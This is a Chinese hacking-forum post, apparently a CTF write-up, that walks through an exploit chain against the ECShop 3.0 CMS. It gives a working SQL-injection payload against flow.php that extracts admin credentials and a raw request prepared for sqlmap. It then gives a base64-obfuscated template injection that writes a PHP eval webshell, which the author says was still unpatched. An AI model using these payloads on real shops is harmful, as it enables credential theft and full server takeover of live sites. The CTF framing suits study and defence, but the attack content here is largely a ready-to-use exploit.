0x01
前两周去克拉玛依参加的丝绸之路杯CTF比赛,有道web题是最新版Ecshop3.0,当时花了很长时间做了出来,特此发表在90记录一下吧,希望能成为90中的一员。
比赛环境:Apache(印象中是,反正是linux主机搭建的)
版本号:ECShop_V3.0.0_UTF8_release0518
0x02
前台注入:
最新的Ecshop3.0后台改了样式,并且加入了第三方登录账号(对咱们然并卵),反正挺好看:
前台有个注入,是个POST类型;
具体代码审计分析,网上有一些很详细:
https://www.t00ls.net/viewthread.php?tid=34104&extra=page=1&orderby=lastpost&filter=86400
flow.php文件出了问题:
http://127.0.0.1/flow.php?step=repurchase
post数据:order_id=1 or updatexml(1,concat(0x7e,(database())),0) or 11#
注入语句在database()处修改;
结果如下:
~ecshop
username:~admin~
password:~1b87e7ccff336b3f486ba3949bee3fa
用户名admin没什么问题,但是密码出了些问题,隐藏了一位;
当时只试了下limit限制了一下,但是操作失败没读出来,审查元素并没有,后来某大牛说利用截取函数来读;
读文件不完整用Substring(str,pos,len)函数 解决问题.他的意思是从字符串str的pos位位置起返回len个字符的子串. 譬如Substring(load_file(A),50,100)就是把 A的内容的第50个字母开始回显100个给你.那么就能逐段逐段的回显.
p.s. mysql的截断函数(其实大多数语言都有)知识点:
1、截取字符串
substring(str, pos)
substring(str, pos, length)
说明:substring(被截取字段,从第几位开始截取)
substring(被截取字段,从第几位开始截取,截取长度)
例:select substring(content,5) as abstract from my_content_t
select substring(content,5,200) as abstract from my_content_t
(注:如果位数是负数 如-5 则是从后倒数位数,到字符串结束或截取的长度)
2、从左开始截取字符串
left(str, length)
说明:left(被截取字段,截取长度)
例:select left(content,200) as abstract from my_content_t
3、从右开始截取字符串
right(str, length)
说明:right(被截取字段,截取长度)
例:select right(content,200) as abstract from my_content_t
一点大家都懂,本地模拟了下,举个例子:
回归Ecshop这个cms。。
当时直接用火狐post注出来的密码一直是缺少一位,想办法是抓包,重新构造包,来让SQLMAP来跑;
POST包如下:
[Bash shell] 纯文本查看 复制代码 POST /flow.php?step=repurchase HTTP/1.1
Host:?127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ECS[visit_times]=2; ECS_ID=1998571d464009d432a17951ee5852104eba8b75
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
order_id=1*
成功跑出管理密码:
user_name ec_salt password
admin 7427 1b87e7ccff336b3f486ba3949bee3fac
登录后台。
0x03
后台Getshell:
网上爆出的Ecshop2.7.x甚至之前版本的漏洞,在3.0行不通。
有个数据库备份,仍然可以是xxxxx.php.sql格式,这里如果服务器是iis6搭建的,可以利用iis6的解析漏洞;
但比赛是apache的环境,虽然apache也是可以将xxxxx.php.sql格式解析成php的,但这个apache是以module方式解析php的apache;
p.s. 在目前所有的apache版本中均存在此问题,但只适用于以cgi方式和module方式解析php的apache,使用fastcgi方式解析php的apache不受影响;
这也就说明为什么有的站点apache搭建的仍然没有解析漏洞。
比赛环境这个漏洞利用不了,从而利用了下面的漏洞;
用户信息是个字一定不要删除,否则后面的user.php会报错;
在之后添加:
[Bash shell] 纯文本查看 复制代码 1.$ {
$ {
fputs(fopen(base64_decode(enp6LnBocA), w), base64_decode(PD9waHAgZXZhbCgkX1BPU1Rbel0pPz4))
}
}
如图:
保存:
代码都能看懂,很简单;
访问就会在本目录下生成一个文件,并写入一句话;
然后访问根目录/user.php,会生成一句话;
http://127.0.0.1/zzz.php 密码:z
Getshell~
这里注意一点:
利用的exp里面的base64加密去掉了最后的=号。
0x04
总结:
截止到此文章发表,Ecshop官网最新版本是ECShop_V3.0.0_UTF8_release0530;
这个版本已经修补了前面说的前台注入漏洞;
但后面这个后台Getshell仍然没有修复。
【说明】
从《90sec鬼哥旁注C段利器》开始我就一直默默的关注90,每次看到90主页那个神秘的界面。
这个界面真的是非常迷人,让人无限向往。
为了进入90我也一直在努力,希望有一天能有个机会和大家在一个平台上进行交流。
今天这个时刻到了,感谢各位前辈 表哥。我爱90sec。
===================================
管理给予通过,已经转正。
管理05
|